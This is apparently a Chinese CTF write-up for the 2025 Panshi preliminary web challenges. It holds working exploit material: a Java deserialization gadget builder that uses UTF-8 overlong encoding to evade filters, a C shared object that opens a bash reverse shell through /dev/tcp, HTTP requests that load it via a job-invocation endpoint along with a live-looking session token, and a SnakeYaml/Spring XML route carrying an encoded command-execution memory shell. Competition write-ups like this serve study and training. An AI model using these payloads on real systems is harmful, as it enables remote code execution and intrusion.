 java.security.SignedObject signedObject = new java.security.SignedObject(1, privateKey, signingEngine);
 byte[] ser1 = null;
 ser1 = (byte[]) Class.forName("XStringToJackson").getDeclaredMethod("serializeOverlongEncoding", Object.class).invoke(null, serObject);
 setFieldValue(signedObject, "content", ser1);
 getMethod(signedObject, "sign", new Class[]{PrivateKey.class, Signature.class}).invoke(signedObject, privateKey, signingEngine);

 Object tostring = new POJONode(signedObject);

 HashMap map2 = (HashMap) getHashMap(tostring);
 Object ser = listWrap((Object) signedObject, map2);
 //获取序列化
 byte[] serialize = serializeOverlongEncoding(ser);
// System.out.println(new String(serialize));
 System.out.println(Base64.getEncoder().encodeToString(serialize));

 ByteArrayInputStream btin = new ByteArrayInputStream(serialize);
 ObjectInputStream objIn = new ObjectInputStream(btin);
 objIn.readObject();

 }
 public static void setFieldValue(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
 Field field = obj.getClass().getDeclaredField(fieldName);
 field.setAccessible(true);
 field.set(obj,value);
 }
 public static void setAccessible(AccessibleObject ao) {
 try {
 Unsafe unsafe = getUnsafe();
 long overrideFieldOffset = unsafe.objectFieldOffset(AccessibleObject.class.getDeclaredField("override"));
 unsafe.putBoolean(ao, overrideFieldOffset, true);
 } catch (Exception e) {
 // fallback
 ao.setAccessible(true);
 }
 }
 public static Unsafe getUnsafe() {
 try {
 Field f = Unsafe.class.getDeclaredField("theUnsafe");
 f.setAccessible(true);
 return (Unsafe) f.get(null);
 } catch (Exception e) {
 throw new RuntimeException("Unable to obtain Unsafe instance", e);
 }
 }
}

UTF8OverlongObjectOutputStream

import sun.misc.Unsafe;

import java.io.*;
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;

public class UTF8OverlongObjectOutputStream extends ObjectOutputStream {
 public static HashMap<Character, int[]> map = new HashMap<Character, int[]>() {{
 put('.', new int[]{0xc0, 0xae});
 put(';', new int[]{0xc0, 0xbb});
 put('$', new int[]{0xc0, 0xa4});
 put('[', new int[]{0xc1, 0x9b});
 put(']', new int[]{0xc1, 0x9d});
 put('a', new int[]{0xc1, 0xa1});
 put('b', new int[]{0xc1, 0xa2});
 put('c', new int[]{0xc1, 0xa3});
 put('d', new int[]{0xc1, 0xa4});
 put('e', new int[]{0xc1, 0xa5});
 put('f', new int[]{0xc1, 0xa6});
 put('g', new int[]{0xc1, 0xa7});
 put('h', new int[]{0xc1, 0xa8});
 put('i', new int[]{0xc1, 0xa9});
 put('j', new int[]{0xc1, 0xaa});
 put('k', new int[]{0xc1, 0xab});
 put('l', new int[]{0xc1, 0xac});
 put('m', new int[]{0xc1, 0xad});
 put('n', new int[]{0xc1, 0xae});
 put('o', new int[]{0xc1, 0xaf}); // 0x6f
 put('p', new int[]{0xc1, 0xb0});
 put('q', new int[]{0xc1, 0xb1});
 put('r', new int[]{0xc1, 0xb2});
 put('s', new int[]{0xc1, 0xb3});
 put('t', new int[]{0xc1, 0xb4});
 put('u', new int[]{0xc1, 0xb5});
 put('v', new int[]{0xc1, 0xb6});
 put('w', new int[]{0xc1, 0xb7});
 put('x', new int[]{0xc1, 0xb8});
 put('y', new int[]{0xc1, 0xb9});
 put('z', new int[]{0xc1, 0xba});
 put('A', new int[]{0xc1, 0x81});
 put('B', new int[]{0xc1, 0x82});
 put('C', new int[]{0xc1, 0x83});
 put('D', new int[]{0xc1, 0x84});
 put('E', new int[]{0xc1, 0x85});
 put('F', new int[]{0xc1, 0x86});
 put('G', new int[]{0xc1, 0x87});
 put('H', new int[]{0xc1, 0x88});
 put('I', new int[]{0xc1, 0x89});
 put('J', new int[]{0xc1, 0x8a});
 put('K', new int[]{0xc1, 0x8b});
 put('L', new int[]{0xc1, 0x8c});
 put('M', new int[]{0xc1, 0x8d});
 put('N', new int[]{0xc1, 0x8e});
 put('O', new int[]{0xc1, 0x8f});
 put('P', new int[]{0xc1, 0x90});
 put('Q', new int[]{0xc1, 0x91});
 put('R', new int[]{0xc1, 0x92});
 put('S', new int[]{0xc1, 0x93});
 put('T', new int[]{0xc1, 0x94});
 put('U', new int[]{0xc1, 0x95});
 put('V', new int[]{0xc1, 0x96});
 put('W', new int[]{0xc1, 0x97});
 put('X', new int[]{0xc1, 0x98});
 put('Y', new int[]{0xc1, 0x99});
 put('Z', new int[]{0xc1, 0x9a});
 }};

 public UTF8OverlongObjectOutputStream(OutputStream out) throws IOException {
 super(out);
 }

 @Override
 protected void writeClassDescriptor(ObjectStreamClass desc) {
 try {
 String name = desc.getName();
 writeShort(name.length() * 2);
 try {
 for (int i = 0; i < name.length(); i++) {
 char s = name.charAt(i);
 write(map.get(s)[0]);
 write(map.get(s)[1]);
 }
 } catch (Exception e) {

 }
 writeLong(desc.getSerialVersionUID());
 byte flags = 0;
 if ((Boolean) getFieldValue(desc, "externalizable")) {
 flags |= ObjectStreamConstants.SC_EXTERNALIZABLE;
 Field protocolField = ObjectOutputStream.class.getDeclaredField("protocol");
 protocolField.setAccessible(true);
 int protocol = (Integer) protocolField.get(this);
 if (protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) {
 flags |= ObjectStreamConstants.SC_BLOCK_DATA;
 }
 } else if ((Boolean) getFieldValue(desc, "serializable")) {
 flags |= ObjectStreamConstants.SC_SERIALIZABLE;
 }
 if ((Boolean) getFieldValue(desc, "hasWriteObjectData")) {
 flags |= ObjectStreamConstants.SC_WRITE_METHOD;
 }
 if ((Boolean) getFieldValue(desc, "isEnum")) {
 flags |= ObjectStreamConstants.SC_ENUM;
 }
 writeByte(flags);
 ObjectStreamField[] fields = (ObjectStreamField[]) getFieldValue(desc, "fields");
 writeShort(fields.length);
 for (int i = 0; i < fields.length; i++) {
 ObjectStreamField f = fields[i];
 writeByte(f.getTypeCode());
 writeUTF(f.getName());
 if (!f.isPrimitive()) {
 Method writeTypeString = ObjectOutputStream.class.getDeclaredMethod("writeTypeString", String.class);
 writeTypeString.setAccessible(true);
 writeTypeString.invoke(this, f.getTypeString());
// writeTypeString(f.getTypeString());
 }
 }
 } catch (Exception e) {
 e.printStackTrace();
 }
 }
 public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
 final Field field = getField(obj.getClass(), fieldName);
 return field.get(obj);
 }
 public static Field getField(final Class<?> clazz, final String fieldName) {
 Field field = null;
 try {
 field = clazz.getDeclaredField(fieldName);
 setAccessible(field);
 } catch (NoSuchFieldException ex) {
 if (clazz.getSuperclass() != null)
 field = getField(clazz.getSuperclass(), fieldName);
 }
 return field;
 }
 public static void setAccessible(AccessibleObject ao) {
 try {
 Unsafe unsafe = getUnsafe();
 long overrideFieldOffset = unsafe.objectFieldOffset(AccessibleObject.class.getDeclaredField("override"));
 unsafe.putBoolean(ao, overrideFieldOffset, true);
 } catch (Exception e) {
 // fallback
 ao.setAccessible(true);
 }
 }
 public static Unsafe getUnsafe() {
 try {
 Field f = Unsafe.class.getDeclaredField("theUnsafe");
 f.setAccessible(true);
 return (Unsafe) f.get(null);
 } catch (Exception e) {
 throw new RuntimeException("Unable to obtain Unsafe instance", e);
 }
 }
}

具体可以参考https://github.com/qi4L/JYso/blob/master/src/main/java/com/qi4l/jndi/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream.java

2025磐石初赛Web

p0l1st@venomsec.org (p0l1st) — Thu, 07 Aug 2025 17:07:49 +0000

web-java_ez

VulnController

public class VulnController {
 private static Map<String, ScheduledJob> jobs = new HashMap();
 private static final String[] JOB_BLACKLIST = {"java.net.URL", "javax.naming.InitialContext", "org.yaml.snakeyaml", "org.springframework", "org.apache", "rmi", "ldap", "ldaps", "http", "https"};
 private static final String[] JOB_WHITELIST = {"com.jabaez.FLAG"};

 @GetMapping({"/server"})
 public Map<String, Object> getServerInfo() {
 Map<String, Object> info = new HashMap<>();
 info.put("javaHome", System.getProperty("java.home"));
 info.put("javaVersion", System.getProperty("java.version"));
 info.put("osName", System.getProperty("os.name"));
 info.put("userDir", System.getProperty("user.dir"));
 info.put("uploadDir", "/tmp/upload");
 Charset gbk = Charset.forName("GBK");
 byte[] bytes = gbk.encode("你好").array();
 System.out.println(Arrays.toString(bytes));
 return info;
 }

 @PostMapping({"/upload"})
 public Map<String, String> uploadFile(@RequestParam("file") MultipartFile file) {
 String originalFilename;
 Map<String, String> result = new HashMap<>();
 try {
 File dir = new File("/tmp/upload");
 if (!dir.exists()) {
 dir.mkdirs();
 }
 originalFilename = file.getOriginalFilename();
 } catch (Exception e) {
 result.put(BindTag.STATUS_VARIABLE_NAME, "error");
 result.put("message", e.getMessage());
 }
 if (originalFilename == null) {
 result.put(BindTag.STATUS_VARIABLE_NAME, "error");
 result.put("message", "文件名为空");
 return result;
 }
 String filename = new File(originalFilename).getName();
 if (filename.contains(CallerDataConverter.DEFAULT_RANGE_DELIMITER) || filename.contains("/") || filename.contains("\\") || filename.startsWith(".")) {
 result.put(BindTag.STATUS_VARIABLE_NAME, "error");
 result.put("message", "非法文件名");
 return result;
 }
 File dest = new File("/tmp/upload" + filename);
 String uploadPathCanonical = new File("/tmp/upload").getCanonicalPath();
 String destCanonical = dest.getCanonicalPath();
 if (!destCanonical.startsWith(uploadPathCanonical + File.separator)) {
 result.put(BindTag.STATUS_VARIABLE_NAME, "error");
 result.put("message", "非法文件路径");
 return result;
 }
 file.transferTo(dest);
 result.put(BindTag.STATUS_VARIABLE_NAME, "success");
 result.put("path", dest.getAbsolutePath());
 result.put("message", "文件上传成功");
 return result;
 }

 @PostMapping({"/job/add"})
 public Map<String, Object> addJob(@RequestBody ScheduledJob job) {
 Map<String, Object> result = new HashMap<>();
 if (containsBlacklist(job.getInvokeTarget())) {
 result.put(BindTag.STATUS_VARIABLE_NAME, "error");
 result.put("message", "包含非法字符");
 return result;
 }
 if (!containsWhitelist(job.getInvokeTarget())) {
 result.put(BindTag.STATUS_VARIABLE_NAME, "error");
 result.put("message", "目标不在白名单中");
 return result;
 }
 jobs.put(job.getJobName(), job);
 result.put(BindTag.STATUS_VARIABLE_NAME, "success");
 result.put("message", "任务添加成功");
 result.put("jobId", job.getJobName());
 return result;
 }

 @PostMapping({"/job/run/{jobName}"})
 public Map<String, Object> runJob(@PathVariable String jobName) {
 Map<String, Object> result = new HashMap<>();
 ScheduledJob job = jobs.get(jobName);
 if (job == null) {
 result.put(BindTag.STATUS_VARIABLE_NAME, "error");
 result.put("message", "任务不存在");
 return result;
 }
 try {
 invokeMethod(job.getInvokeTarget());
 result.put(BindTag.STATUS_VARIABLE_NAME, "success");
 result.put("message", "任务执行成功");
 } catch (Exception e) {
 result.put(BindTag.STATUS_VARIABLE_NAME, "error");
 result.put("message", e.getMessage());
 result.put("stackTrace", e.getStackTrace()[0].toString());
 }
 return result;
 }

 private boolean containsBlacklist(String str) {
 if (str == null) {
 return false;
 }
 String lowerStr = str.toLowerCase();
 for (String blackItem : JOB_BLACKLIST) {
 if (lowerStr.contains(blackItem.toLowerCase())) {
 return true;
 }
 }
 return false;
 }

 private boolean containsWhitelist(String str) {
 if (str == null) {
 return false;
 }
 for (String whiteItem : JOB_WHITELIST) {
 if (str.contains(whiteItem)) {
 return true;
 }
 }
 return false;
 }

 private Object invokeMethod(String invokeTarget) throws Exception {
 int hashIndex = invokeTarget.indexOf(35);
 if (hashIndex == -1) {
 throw new IllegalArgumentException("Invalid format, expected: className#methodName(params)");
 }
 String className = invokeTarget.substring(0, hashIndex);
 String methodAndParams = invokeTarget.substring(hashIndex + 1);
 int paramStart = methodAndParams.indexOf(40);
 int paramEnd = methodAndParams.lastIndexOf(41);
 if (paramStart != -1 && paramEnd != -1) {
 String methodName = methodAndParams.substring(0, paramStart);
 String paramStr = methodAndParams.substring(paramStart + 1, paramEnd);
 Class<?> clazz = Class.forName(className);
 List<Object> paramValues = new ArrayList<>();
 List<Class<?>> paramTypes = new ArrayList<>();
 if (!paramStr.trim().isEmpty()) {
 String[] params = splitParams(paramStr);
 for (String str : params) {
 String param = str.trim();
 if (param.startsWith("'") && param.endsWith("'")) {
 String value = param.substring(1, param.length() - 1);
 paramValues.add(value);
 paramTypes.add(String.class);
 } else if (param.equals(BeanDefinitionParserDelegate.NULL_ELEMENT)) {
 paramValues.add(null);
 paramTypes.add(String.class);
 } else if (param.matches("\\d+")) {
 paramValues.add(Integer.valueOf(Integer.parseInt(param)));
 paramTypes.add(Integer.TYPE);
 } else if (!param.equals("true") && !param.equals("false")) {
 paramValues.add(param);
 paramTypes.add(String.class);
 } else {
 paramValues.add(Boolean.valueOf(Boolean.parseBoolean(param)));
 paramTypes.add(Boolean.TYPE);
 }
 }
 }
 try {
 Method method = clazz.getMethod(methodName, (Class[]) paramTypes.toArray(new Class[0]));
 if (Modifier.isStatic(method.getModifiers())) {
 return method.invoke(null, paramValues.toArray());
 }
 Object instance = clazz.newInstance();
 return method.invoke(instance, paramValues.toArray());
 } catch (NoSuchMethodException e) {
 Method method2 = clazz.getDeclaredMethod(methodName, (Class[]) paramTypes.toArray(new Class[0]));
 method2.setAccessible(true);
 if (Modifier.isStatic(method2.getModifiers())) {
 return method2.invoke(null, paramValues.toArray());
 }
 Object instance2 = clazz.newInstance();
 return method2.invoke(instance2, paramValues.toArray());
 }
 }
 throw new IllegalArgumentException("Invalid method format");
 }

 private String[] splitParams(String paramStr) {
 List<String> params = new ArrayList<>();
 int bracketLevel = 0;
 int start = 0;
 for (int i = 0; i < paramStr.length(); i++) {
 char c = paramStr.charAt(i);
 if (c != '(' && c != '{' && c != '[') {
 if (c == ')' || c == '}' || c == ']') {
 bracketLevel--;
 } else if (c == ',' && bracketLevel == 0) {
 params.add(paramStr.substring(start, i));
 start = i + 1;
 }
 } else {
 bracketLevel++;
 }
 }
 if (start < paramStr.length()) {
 params.add(paramStr.substring(start));
 }
 return (String[]) params.toArray(new String[0]);
 }

 /* loaded from: jaba-ez.jar:BOOT-INF/classes/com/jabaez/VulnController$ScheduledJob.class */
 static class ScheduledJob {
 private String jobName;
 private String invokeTarget;
 private String cronExpression;

 ScheduledJob() {
 }

 public String getJobName() {
 return this.jobName;
 }

 public void setJobName(String jobName) {
 this.jobName = jobName;
 }

 public String getInvokeTarget() {
 return this.invokeTarget;
 }

 public void setInvokeTarget(String invokeTarget) {
 this.invokeTarget = invokeTarget;
 }

 public String getCronExpression() {
 return this.cronExpression;
 }

 public void setCronExpression(String cronExpression) {
 this.cronExpression = cronExpression;
 }
 }
}

可以上传任意文件到/tmp/upload，可以写任务并且执行任务时可以调用任意方法

注意这里的白名单和黑名单

 private static final String[] JOB_BLACKLIST = {"java.net.URL", "javax.naming.InitialContext", "org.yaml.snakeyaml", "org.springframework", "org.apache", "rmi", "ldap", "ldaps", "http", "https"};
 private static final String[] JOB_WHITELIST = {"com.jabaez.FLAG"};

看起来限制的很死，但是我们可以参考若依4.8计划任务RCE

编译上传so文件

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__ ((constructor)) void angel(void) {
 system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
}

写任务时加载

POST /api/job/add HTTP/1.1
Host: pss.idss-cn.com:22313
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Pragma: no-cache
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: rt_web__jwt_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiZGRjZGIzZGVmNWFjYzhiZGYzOGUxYWFlZTA2ZjQ0OWIiLCJ1c2VybmFtZSI6ImRpbmdndWFuaGUiLCJleHAiOjE3NTQ1MzkxNDEsImVtYWlsIjoiMTA1MTM3Mzc4N0BxcS5jb20ifQ.GKWAhdC5mzMk84NtomZw3uuIjdAM70zheBUy469BgCI; rt_web_csrf_token=6BwsSY8NNkNzvKhCpJOLtLiDck38bmqZeq7Yovs99z56liUedfKpdWPGU80ORBEJ
Cache-Control: no-cache
Content-Type: application/json

{
 "jobName" : "aa3",
 "invokeTarget" : "java.lang.System#load('/tmp/uploads/com.jabaez.FLAG.so')"
}

执行任务

POST /api/job/run/aa3 HTTP/1.1
Host: pss.idss-cn.com:22313
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Pragma: no-cache
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: rt_web__jwt_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiZGRjZGIzZGVmNWFjYzhiZGYzOGUxYWFlZTA2ZjQ0OWIiLCJ1c2VybmFtZSI6ImRpbmdndWFuaGUiLCJleHAiOjE3NTQ1MzkxNDEsImVtYWlsIjoiMTA1MTM3Mzc4N0BxcS5jb20ifQ.GKWAhdC5mzMk84NtomZw3uuIjdAM70zheBUy469BgCI; rt_web_csrf_token=6BwsSY8NNkNzvKhCpJOLtLiDck38bmqZeq7Yovs99z56liUedfKpdWPGU80ORBEJ
Cache-Control: no-cache
Content-Type: application/json

反弹shell

ezyaml

SnakeYaml反序列化

这里的黑名单加上不出网限制了打不了JNDI，同时也无法加载远程类

参考java反序列化之SnakeYaml，可以写jar包，但问题是无法加载，所以这题当时就没出

第二天突然看到从 SnakeYaml 看 ClassPathXmlApplicationContext 不出网利用，想起来P牛之前写过的一篇文章ClassPathXmlApplicationContext的不出网利用

既然我们已经可以写入任意文件了，那么也就可以通过加载XML去执行命令，题目过滤了ClassPath自然也就用不了ClassPathXmlApplicationContext，但是还可以利用FileSystemXmlApplicationContext

我们就可以构造出payload，首先写一个xml，这个xml可以用javachains写一个回显马

<beans xmlns="http://www.springframework.org/schema/beans"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="http://www.springframework.org/schema/beans
 http://www.springframework.org/schema/beans/spring-beans.xsd">
 <bean id="decoder" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
 <property name="staticMethod" value="javax.xml.bind.DatatypeConverter.parseBase64Binary"/>
 <property name="arguments">
 <list>
 <value>yv66vgAAADIBOwEAZm9yZy9hcGFjaGUvY29tbW9tcy9iZWFudXRpbHMvY295b3RlL2Rlc2VyaWFsaXphdGlvbi9WYWx1ZUluc3RhbnRpYXRvcnNkM2Y5MzlmMjA1ZjM0Mzk0ODA3M2UwMmQwMzlkNzhkYQcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAAY8aW5pdD4BAAMoKVYBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwAHDAAFAAYKAAQACQEAA3J1bgwACwAGCgACAAwBABBnZXRSZXFIZWFkZXJOYW1lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAANjbWQIABABAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24HABIBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwAUAQAQamF2YS9sYW5nL1RocmVhZAcAFgEACmdldFRocmVhZHMIABgBAA9qYXZhL2xhbmcvQ2xhc3MHABoBABJbTGphdmEvbGFuZy9DbGFzczsHABwBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsMAB4AHwoAGwAgAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kBwAiAQANc2V0QWNjZXNzaWJsZQEABChaKVYMACQAJQoAIwAmAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DAAoACkKACMAKgEAE1tMamF2YS9sYW5nL1RocmVhZDsHACwBAAdnZXROYW1lDAAuAA8KABcALwEABGh0dHAIADEBABBqYXZhL2xhbmcvU3RyaW5nBwAzAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMADUANgoANAA3AQAIQWNjZXB0b3IIADkBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsMADsAPAoABAA9AQAGdGFyZ2V0CAA/AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwwAQQBCCgAbAEMBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAcARQoARgAmAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMAEgASQoARgBKAQAIZW5kcG9pbnQIAEwBAAZ0aGlzJDAIAE4BAAdoYW5kbGVyCABQAQANZ2V0U3VwZXJjbGFzcwwAUgA8CgAbAFMBAAZnbG9iYWwIAFUBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsMAFcAWAoAGwBZAQAib3JnLmFwYWNoZS5jb3lvdGUuUmVxdWVzdEdyb3VwSW5mbwgAWwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgcAXQEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsMAF8AYAoAXgBhCgAbAC8BAApwcm9jZXNzb3JzCABkAQATamF2YS91dGlsL0FycmF5TGlzdAcAZgEABHNpemUBAAMoKUkMAGgAaQoAZwBqAQAVKEkpTGphdmEvbGFuZy9PYmplY3Q7DABIAGwKAGcAbQEAA3JlcQgAbwEAB2dldE5vdGUIAHEBABFqYXZhL2xhbmcvSW50ZWdlcgcAcwEABFRZUEUBABFMamF2YS9sYW5nL0NsYXNzOwwAdQB2CQB0AHcBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwwAeQB6CgB0AHsBAAlnZXRIZWFkZXIIAH0BAAlnZXRNZXRob2QMAH8AHwoAGwCADAAOAA8KAAIAggEAC2dldFJlc3BvbnNlCACEAQAJZ2V0V3JpdGVyCACGAQAOamF2YS9pby9Xcml0ZXIHAIgBAAZoYW5kbGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAigCLCgACAIwBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgwAjgCPCgCJAJABAAVmbHVzaAwAkgAGCgCJAJMBAAVjbG9zZQwAlQAGCgCJAJYBAARleGVjAQAHb3MubmFtZQgAmQEAEGphdmEvbGFuZy9TeXN0ZW0HAJsBAAtnZXRQcm9wZXJ0eQwAnQCLCgCcAJ4BAAt0b0xvd2VyQ2FzZQwAoAAPCgA0AKEBAAN3aW4IAKMBAAcvYmluL3NoCAClAQACLWMIAKcBAAdjbWQuZXhlCACpAQACL2MIAKsBABFqYXZhL2xhbmcvUnVudGltZQcArQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAK8AsAoArgCxAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAmACzCgCuALQBABFqYXZhL2xhbmcvUHJvY2VzcwcAtgEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMALgAuQoAtwC6AQARamF2YS91dGlsL1NjYW5uZXIHALwBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMAAUAvgoAvQC/AQACXGEIAMEBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMAMMAxAoAvQDFAQAACADHAQAHaGFzTmV4dAEAAygpWgwAyQDKCgC9AMsBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgcAzQoAzgAJAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7DADQANEKAM4A0gEABG5leHQMANQADwoAvQDVAQAIdG9TdHJpbmcMANcADwoAzgDYAQAKZ2V0TWVzc2FnZQwA2gAPCgAIANsBABNbTGphdmEvbGFuZy9TdHJpbmc7BwDdAQATamF2YS9pby9JbnB1dFN0cmVhbQcA3wEABmV5SmVYQQgA4QEACnN0YXJ0c1dpdGgBABUoTGphdmEvbGFuZy9TdHJpbmc7KVoMAOMA5AoANADlAQAGbGVuZ3RoDADnAGkKADQA6AEABmNoYXJBdAEABChJKUMMAOoA6woANADsAQAVKEMpTGphdmEvbGFuZy9TdHJpbmc7DAB5AO4KADQA7wEACHBhcnNlSW50AQAVKExqYXZhL2xhbmcvU3RyaW5nOylJDADxAPIKAHQA8wEAAS4IAPUBAAdpbmRleE9mDAD3APIKADQA+AEACXN1YnN0cmluZwEAFihJSSlMamF2YS9sYW5nL1N0cmluZzsM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